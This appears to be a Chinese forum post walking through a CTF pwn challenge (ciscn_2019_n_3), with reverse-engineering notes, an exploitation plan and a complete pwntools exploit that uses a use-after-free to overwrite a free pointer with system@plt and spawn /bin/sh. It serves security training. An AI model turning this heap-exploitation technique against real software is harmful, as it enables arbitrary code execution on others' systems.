roger 发表于 2020-5-22 15:04:05

ciscn_2019_pwn_n-3

  
题目链接:https://www.xuenixiang.com/ctfexercise-competition-418.html
目录

[*]逆向分析

[*]new 函数
[*]del 函数
[*]dump 函数
[*]利用思路
[*]exp 脚本
[*]get flag
[*]内容来源

逆向分析new 函数    v3 = records;   
    *v3 = rec_int_print;
    *(v3 + 4) = rec_int_free;
    *(v3 + 8) = ask("Value");

    fgets(*(v3 + 8), size, stdin);
    *v3 = rec_str_print;
    *(v3 + 4) = rec_str_free;

[*]records:存储 chunk 的地址,大小皆为 0xCu 。
[*]*v3:存储 rec_int_print 函数地址用于打印存储的值和类型。
[*]*(v3 + 4):存储 free 函数地址,用于释放 chunk 。
[*]*(v3 + 8):存储用户输入的值,如果值的类型为整数,则直接存在 *(v3 + 8) 中,如果值的类型为字符串,则 *(v3 + 8) 存的是字符串的地址。
del 函数    return (*(records + 4))(records);

    free(*(ptr + 2));
    free(ptr);

[*]如果值是整数,直接 free chunk 。
[*]如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。
[*]注意这里知识进行了 free 操作,没有将指针置 0 。
dump 函数    return (*records)(records);

[*]调用 rec_int_print 或 rec_str_print 打印值。
利用思路
[*]创建 chunk 0、chunk 1、chunk 2
[*]利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表。
[*]利用 chunk 1 的 string 对应的 chunk 进行 use after free 将 /bin/sh 写入 chunk 1 的 string chunk 中。
[*]触发 del 函数中的 free(*(ptr + 2)),即执行 system('/bin/sh')
exp 脚本from pwn_debug import *

pdbg = pwn_debug('ciscn_2019_n_3')

pdbg.debug('2.27')
p=pdbg.run('debug')

elf = ELF('ciscn_2019_n_3')

def newnote(idx,type,value,length=0):
p.recvuntil('CNote > ')
p.sendline(str(1))
p.recvuntil('Index > ')
p.sendline(str(idx))
p.recvuntil('Type > ')
p.sendline(str(type))
if type == 1:
p.recvuntil('Value > ')
p.sendline(str(value))
else:
p.recvuntil('Length > ')
p.sendline(str(length))
p.recvuntil('Value > ')
if length == 8:
p.send(value)
else:
p.sendline(value)

def delnote(idx):
p.recvuntil('CNote > ')
p.sendline(str(2))
p.recvuntil('Index > ')
p.sendline(str(idx))

newnote(0,2,'a'*10,0x88)#0
newnote(1,2,'a'*10,0x38)#1
newnote(2,1,0x41)#2

#gdb.attach(p)

delnote(1) # fastbin attack
delnote(2)
newnote(3,2,'bash'+p32(elf.plt['system']),0xc) #把 system 的 plt 表地址写入 chunk 1 的 rec_str_free 中
newnote(4,2,'/bin/sh\x00',0x38)#把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中

#gdb.attach(p)
delnote(1)    # free(*(ptr + 2)) 相当于执行 system('/bin/sh')
p.interactive()

get flag


页: [1]
查看完整版本: ciscn_2019_pwn_n-3